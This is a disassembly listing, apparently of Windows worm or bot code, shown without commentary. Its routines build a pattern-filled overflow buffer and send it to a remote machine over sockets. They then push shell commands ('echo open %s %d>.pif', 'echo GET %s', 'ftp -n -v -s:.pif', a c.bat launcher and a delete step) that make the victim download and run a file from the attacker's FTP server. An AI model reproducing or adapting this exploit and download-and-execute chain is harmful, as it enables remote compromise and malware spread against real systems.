		mov	al, 1
		pop	ebx
		pop	ecx
		retn
sub_4245E0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4246D0	proc near		; CODE XREF: sub_401B7Cj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, ecx
		mov	eax, [ebp+4]
		mov	ecx, [ebp+0]
		push	eax
		push	ecx
		push	1
		push	offset dword_448F34
		lea	ecx, [esp+20h+var_8]
		call	sub_4021F8
		lea	ecx, [esp+10h+var_8]
		call	sub_4010A0
		mov	edx, [esp+10h+var_4]
		inc	edx
		push	edx
		call	near ptr 77C2C407h
		nop
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424715
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_424715:				; CODE XREF: sub_4246D0+3Bj
		mov	eax, [esp+10h+var_4]
		push	esi
		push	edi
		mov	edi, ebx
		lea	ecx, [eax+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	byte ptr [ebx],	3
		mov	ecx, [esp+18h+var_4]
		mov	esi, [esp+18h+var_8]
		mov	eax, ecx
		lea	edi, [ebx+1]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, ebp
		call	sub_4016C2
		mov	ecx, [esp+18h+var_4]
		mov	[ebp+0], ebx
		inc	ecx
		mov	[ebp+4], ecx
		lea	ecx, [esp+18h+var_8]
		call	sub_4016C2
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 8
		retn
sub_4246D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4247B0	proc near		; CODE XREF: sub_4012C6j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		mov	edx, [esi+4]
		mov	eax, [esi]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021F8
		mov	ecx, esi
		call	sub_4016C2
		mov	ecx, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_4]
		mov	[esi], ecx
		mov	[esi+4], edx
		mov	al, 1
		pop	esi
		add	esp, 8
		retn	8
sub_4247B0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424800	proc near		; CODE XREF: sub_402054j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	edx, ecx
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	esi
		mov	ecx, edx
		call	sub_4012C6
		pop	edi
		pop	esi
		retn	4
sub_424800	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424840	proc near		; CODE XREF: sub_401505j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	eax
		push	edx
		call	sub_4012C6
		retn	8
sub_424840	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424870	proc near		; CODE XREF: sub_4017D5j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		call	sub_4010A0
		test	al, al
		jnz	short loc_424884
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_424884:				; CODE XREF: sub_424870+Dj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	eax
		push	ecx
		push	1
		push	offset dword_445C0C
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021F8
		mov	ecx, esi
		call	sub_4016C2
		mov	edx, [esp+0Ch+var_8]
		mov	eax, [esp+0Ch+var_4]
		mov	[esi], edx
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		add	esp, 8
		retn
sub_424870	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4248E0	proc near		; CODE XREF: sub_401EC9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401505
		test	al, al
		jnz	short loc_4248FC
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_4248FC:				; CODE XREF: sub_4248E0+16j
		mov	ecx, esi
		call	sub_4017D5
		pop	esi
		retn	8
sub_4248E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424920	proc near		; CODE XREF: sub_401BFEj

var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_838		= dword	ptr -838h
var_834		= dword	ptr -834h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 858h
		lea	ecx, [esp+858h+var_818]
		push	ebx
		push	esi
		call	sub_4012A8
		mov	esi, [esp+860h+arg_8]
		cmp	esi, 408h
		jg	loc_424CF5
		mov	ebx, [esp+860h+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, 408h
		ja	loc_424CF5
		push	edi
		lea	ecx, [esp+864h+var_830]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_840]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_810]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_848]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_820]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_828]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_838]
		call	sub_4012A8
		push	4
		push	offset dword_4458A8
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		push	3
		push	offset dword_4458B0
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_830]
		call	sub_401B7C
		lea	ecx, [esp+864h+var_830]
		call	sub_4017D5
		mov	ecx, 200h
		mov	eax, 42424242h
		lea	edi, [esp+864h+var_800]
		push	8
		rep stosd
		push	offset aRbrbrbrb ; "BBBB"
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_C]
		push	ebx
		push	ecx
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ebx, [esp+864h+var_83C]
		mov	edx, 409h
		sub	edx, ebx
		lea	eax, [esp+864h+var_800]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_840]
		call	sub_401B7C
		push	offset loc_445C30
		lea	ecx, [esp+868h+var_810]
		call	sub_402054
		lea	ecx, [esp+864h+var_810]
		call	sub_401B7C
		mov	ecx, 200h
		mov	eax, 44444444h
		lea	edi, [esp+864h+var_800]
		push	410h
		rep stosd
		lea	ecx, [esp+868h+var_800]
		push	ecx
		lea	ecx, [esp+86Ch+var_808]
		call	sub_401843
		lea	ecx, [esp+864h+var_808]
		call	sub_401B7C
		mov	edx, [esp+864h+var_804]
		mov	eax, [esp+864h+var_808]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_810]
		call	sub_401EC9
		lea	ecx, [esp+864h+var_808]
		call	sub_4016C2
		mov	ecx, 200h
		mov	eax, 43434343h
		lea	edi, [esp+864h+var_800]
		push	offset aCccc	; "CCCC"
		rep stosd
		lea	ecx, [esp+868h+var_848]
		call	sub_402054
		push	4
		push	offset dword_4458B4
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_4]
		push	esi
		push	ecx
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	edx, 408h
		lea	eax, [esp+864h+var_800]
		sub	edx, esi
		lea	ecx, [esp+864h+var_848]
		push	edx
		push	eax
		call	sub_4012C6
		lea	ecx, [esp+864h+var_848]
		call	sub_401B7C
		mov	ecx, [esp+864h+var_844]
		mov	edx, [esp+864h+var_848]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_401505
		mov	eax, [esp+864h+var_80C]
		mov	ecx, [esp+864h+var_810]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_401505
		lea	ecx, [esp+864h+var_820]
		call	sub_4017D5
		lea	ecx, [esp+864h+var_848]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_810]
		call	sub_4016C2
		mov	edx, [esp+864h+var_83C]
		mov	eax, [esp+864h+var_840]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401505
		mov	ecx, [esp+864h+var_82C]
		mov	edx, [esp+864h+var_830]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401505
		mov	eax, [esp+864h+var_81C]
		mov	ecx, [esp+864h+var_820]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401505
		lea	ecx, [esp+864h+var_828]
		call	sub_4017D5
		lea	ecx, [esp+864h+var_840]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_830]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_820]
		call	sub_4016C2
		mov	ecx, 200h
		mov	eax, 41414141h
		lea	edi, [esp+864h+var_800]
		lea	edx, [esp+864h+var_800]
		rep stosd
		push	400h
		push	edx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_838]
		call	sub_401B7C
		push	2
		push	offset dword_445C24
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		mov	eax, [esp+864h+var_824]
		mov	ecx, [esp+864h+var_828]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_401505
		lea	ecx, [esp+864h+var_838]
		call	sub_4017D5
		lea	ecx, [esp+864h+var_828]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_850]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_858]
		call	sub_4012A8
		mov	edx, [esp+864h+var_834]
		mov	eax, [esp+864h+var_838]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_850]
		call	sub_401505
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_838]
		call	sub_4016C2
		push	offset dword_445C20
		lea	ecx, [esp+868h+var_858]
		call	sub_402054
		mov	ecx, [esp+864h+var_84C]
		mov	edx, [esp+864h+var_850]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_858]
		call	sub_401505
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016C2
		push	offset dword_444E68
		lea	ecx, [esp+868h+var_850]
		call	sub_402054
		mov	eax, [esp+864h+var_854]
		mov	ecx, [esp+864h+var_858]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_850]
		call	sub_401505
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_858]
		call	sub_4016C2
		push	offset dword_445C14
		lea	ecx, [esp+868h+var_858]
		call	sub_402054
		mov	edx, [esp+864h+var_84C]
		mov	eax, [esp+864h+var_850]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_858]
		call	sub_401505
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016C2
		push	offset dword_445C10
		lea	ecx, [esp+868h+var_818]
		call	sub_402054
		mov	ecx, [esp+864h+var_854]
		mov	edx, [esp+864h+var_858]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_818]
		call	sub_401505
		lea	ecx, [esp+864h+var_858]
		call	sub_4016C2
		mov	eax, [esp+864h+arg_0]
		mov	ecx, [esp+864h+var_818]
		mov	edx, [esp+864h+var_814]
		pop	edi
		mov	[eax], ecx
		pop	esi
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
; ---------------------------------------------------------------------------


loc_424CF5:				; CODE XREF: sub_424920+1Ej
					; sub_424920+33j
		mov	eax, [esp+860h+arg_0]
		mov	ecx, [esp+860h+var_818]
		mov	edx, [esp+860h+var_814]
		pop	esi
		mov	[eax], ecx
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
sub_424920	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424E20	proc near		; CODE XREF: sub_401AC8j

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 210h
		push	esi
		mov	esi, [esp+214h+arg_0]
		lea	eax, [esp+214h+var_210]
		lea	ecx, [esp+214h+var_104]
		push	eax
		push	ecx
		lea	edx, [esp+21Ch+var_208]
		push	0
		lea	eax, [esi+1]
		push	edx
		push	eax
		mov	[esp+228h+var_204], esi
		mov	[esp+228h+var_208], 1
		mov	[esp+228h+var_100], esi
		mov	[esp+228h+var_104], 1
		mov	[esp+228h+var_210], 0Ah
		mov	[esp+228h+var_20C], 0
		call	near ptr 71AB2DC0h
		nop
		cmp	eax, 1
		jz	short loc_424E89
		xor	eax, eax
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424E89:				; CODE XREF: sub_424E20+5Dj
		lea	ecx, [esp+214h+var_208]
		push	ecx
		push	esi
		call	sub_438256
sub_424E20	endp

; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_424EA0
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424EA0:				; CODE XREF: ___:00424E96j
		mov	edx, [esp+224h]
		mov	eax, [esp+220h]
		mov	ecx, [esp+21Ch]
		push	edx
		push	eax
		push	ecx
		push	esi
		call	near ptr 71AB615Ah
		nop
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424F00	proc near		; CODE XREF: sub_4012F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_8]
		push	edi
		push	esi
		nop
		call	near ptr 71AB2BC0h
		mov	edi, [esp+0Ch+arg_0]
		mov	ebx, dword_511CA0
		mov	[esp+0Ch+arg_8], eax
		push	0
		lea	eax, [esp+10h+arg_8]
		push	4
		push	eax
		push	edi
		call	ebx	; send
		cmp	eax, 4
		jz	short loc_424F33
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424F33:				; CODE XREF: sub_424F00+2Bj
		mov	ecx, [esp+0Ch+arg_4]
		push	0
		push	esi
		push	ecx
		push	edi
		call	ebx	; send
		xor	edx, edx
		cmp	eax, esi
		setz	dl
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		retn
sub_424F00	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424F70	proc near		; CODE XREF: sub_4012F8j

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 104h
		push	ebx
		push	ebp
		mov	ebp, [esp+10Ch+arg_8]
		push	esi
		lea	esi, [ebp+41h]
		push	esi
		mov	[esp+114h+var_104], esi
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424FA3
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424FA3:				; CODE XREF: sub_424F70+25j
		mov	ecx, esi
		push	edi
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		mov	esi, offset dword_445944
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	85h
		and	ecx, 3
		push	offset dword_4458BC
		rep stosb
		mov	ecx, 0Bh
		mov	edi, ebx
		rep movsd
		movsw
		movsb
		mov	[ebx+2Fh], bp
		mov	eax, dword_445974
		mov	[ebx+31h], eax
		mov	ecx, dword_445978
		mov	esi, [esp+11Ch+arg_4]
		mov	[ebx+35h], ecx
		mov	ecx, ebp
		lea	eax, [ebx+3Bh]
		mov	edx, ecx
		mov	edi, eax
		shr	ecx, 2
		mov	[ebx+39h], bp
		add	eax, ebp
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, dword_510100
		mov	esi, [esp+11Ch+arg_0]
		mov	[eax], ecx
		mov	dx, word_510104
		push	esi
		mov	[eax+4], dx
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		pop	edi
		jnz	short loc_425048
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_425048:				; CODE XREF: sub_424F70+C0j
		push	0
		lea	eax, [esp+114h+var_100]
		push	100h
		push	eax
		push	esi
		call	sub_401AC8
		mov	ecx, [esp+120h+var_104]
		push	ecx
		push	ebx
		push	esi
		call	sub_4012F3
		add	esp, 1Ch
		test	al, al
		jnz	short loc_425083
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_425083:				; CODE XREF: sub_424F70+FBj
		push	0
		lea	edx, [esp+114h+var_100]
		push	100h
		push	edx
		push	esi
		call	sub_401AC8
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 14h
		mov	al, 1
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
sub_424F70	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425100	proc near		; CODE XREF: sub_401820j

var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= word ptr -418h
var_416		= dword	ptr -416h
var_412		= dword	ptr -412h
var_40E		= dword	ptr -40Eh
var_40A		= word ptr -40Ah
var_408		= dword	ptr -408h
var_400		= byte ptr -400h
var_3FF		= byte ptr -3FFh
var_371		= byte ptr -371h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_9E		= dword	ptr  0A2h

		sub	esp, 420h
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [esp+42Ch+var_3FF]
		rep stosd
		stosw
		stosb
		mov	ecx, 23h
		mov	esi, offset sub_445AE8
		lea	edi, [esp+42Ch+var_400]
		rep movsd
		movsw
		mov	ecx, offset byte_449511
		movsb
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_449511
		call	sub_4017EE
		mov	ecx, [esp+430h+arg_0]
		push	eax
		mov	eax, dword_44964F
		push	eax
		push	ecx
		call	sub_401E10
		add	esp, 4
		lea	edx, [esp+438h+var_371]
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		push	400h
		push	edx
		nop
		call	near ptr 77C3FA76h
		add	eax, 90h
		lea	ecx, [esp+448h+var_408]
		push	eax
		lea	eax, [esp+44Ch+var_400]
		push	eax
		push	164h
		push	offset sub_445980
		push	ecx
		call	sub_401BFE
		mov	edx, [eax]
		xor	edi, edi
		mov	[esp+45Ch+var_420], edx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, edi
		mov	[esp+42Ch+var_41C], eax
		jnz	short loc_4251B2
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 420h
		retn
; ---------------------------------------------------------------------------


loc_4251B2:				; CODE XREF: sub_425100+A4j
		mov	ebp, dword_511C38
		mov	[esp+42Ch+var_408], edi


loc_4251BC:				; CODE XREF: sub_425100+161j
		test	edi, edi
		jnz	loc_425267
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42524A
		mov	ecx, [esp+42Ch+arg_9E]
		xor	eax, eax
		mov	[esp+42Ch+var_416], eax
		push	ecx
		mov	[esp+430h+var_412], eax
		mov	[esp+430h+var_418], 2
		mov	[esp+430h+var_40E], eax
		mov	[esp+430h+var_40A], ax
		call	ebp	; ntohs
		lea	edx, [esp+42Ch+arg_4]
		mov	word ptr [esp+42Ch+var_416], ax
		push	edx
		nop
		call	near ptr 71AB2BF4h
		mov	[esp+42Ch+var_416+2], eax
		lea	eax, [esp+42Ch+var_418]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42523F
		mov	ecx, [esp+42Ch+var_41C]
		mov	edx, [esp+42Ch+var_420]
		push	ecx
		push	edx
		push	esi
		call	sub_4012F8
		add	esp, 0Ch
		and	eax, 0FFh
		mov	edi, eax


loc_42523F:				; CODE XREF: sub_425100+123j
		push	esi
		call	near ptr 71AB9639h
		nop
		test	edi, edi
		jnz	short loc_425255


loc_42524A:				; CODE XREF: sub_425100+D5j
		push	3E8h
		call	near ptr 2830000h
		nop


loc_425255:				; CODE XREF: sub_425100+148j
		mov	eax, [esp+42Ch+var_408]
		inc	eax
		cmp	eax, 2
		mov	[esp+42Ch+var_408], eax
		jl	loc_4251BC


loc_425267:				; CODE XREF: sub_425100+BEj
		lea	ecx, [esp+42Ch+var_420]
		call	sub_4016C2
		test	edi, edi
		jz	short loc_425297
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+4E8h+arg_0]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40114F
		add	esp, 0BCh


loc_425297:				; CODE XREF: sub_425100+172j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebp
		add	esp, 420h
		retn
sub_425100	endp

; ---------------------------------------------------------------------------
aRrrrrrrrrr	db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌé',1Bh,0
		align 4
		dd 90909000h, 2	dup(90909090h),	4 dup(0CCCCCCCCh), 0BB8068h
		dd 2EE06800h, 77E80000h, 83FFFDCEh, 8A308C4h, 0C3005101h
		dd 2 dup(90909090h), 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_425370	proc near		; CODE XREF: sub_4013D4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		push	0C8h
		nop
		call	near ptr 2830000h
		mov	edx, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		repne scasb
		mov	eax, [esp+4+arg_0]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		cmp	eax, 0FFFFFFFFh
		pop	edi
		setnz	al
		retn
sub_425370	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4253C0	proc near		; CODE XREF: sub_4013BBj

var_434		= byte ptr -434h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4253C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 428h
		xor	eax, eax
		push	ebx
		mov	[esp+438h+var_41C], eax
		push	esi
		mov	[esp+43Ch+var_418], eax
		lea	ecx, [esp+43Ch+arg_4]
		push	edi
		mov	[esp+440h+var_414], eax
		push	ecx
		mov	[esp+444h+var_410], eax
		mov	word ptr [esp+444h+var_41C], 2
		nop
		call	near ptr 71AB2BF4h
		mov	dx, word_510108
		mov	[esp+440h+var_418], eax
		push	edx
		call	near ptr 71AB2B66h
		nop
		push	0
		push	1
		push	2
		mov	word ptr [esp+44Ch+var_41C+2], ax
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		or	ebx, 0FFFFFFFFh
		cmp	esi, ebx
		jz	loc_4256BE
		lea	eax, [esp+440h+var_41C]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, ebx
		jz	loc_4256BE
		mov	edi, dword_511CA4
		push	0
		lea	ecx, [esp+444h+var_40C]
		push	400h
		push	ecx
		push	esi
		call	edi	; recv
		lea	ecx, [esp+440h+var_434]
		call	sub_40142E
		mov	edx, dword_44964F
		mov	eax, [esp+440h+arg_0]
		push	edx
		push	eax
		mov	[esp+448h+var_4], 0
		call	sub_401E10
		add	esp, 4
		lea	ecx, [esp+444h+var_434]
		push	eax
		push	offset aEchoOpenSD_pif ; "echo open %s %d>.pif \r\n"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoUserAA_pif ; "echo user a a>>.pif \r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset aEchoBinary_pif ; "echo binary>>.pif \r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+444h+var_434]
		push	offset aEchoGetS_pif ; "echo GET %s>>.pif \r\n"
		push	ecx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoBye_pif ; "echo bye>>.pif \r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset aEcho@echoOffC_ ; "echo @echo off >c.bat\r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	ecx, [esp+440h+var_434]
		push	offset aEchoFtpNVS_pif ; "echo ftp -n -v -s:.pif >>c.bat\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		lea	edx, [esp+444h+var_434]
		push	offset aEchoSC_bat ; "echo %s >>c.bat\r\n"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset aEchoDel_pifC_b ; "echo del .pif	>>c.bat\r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	short loc_4256AE
		lea	ecx, [esp+440h+var_434]
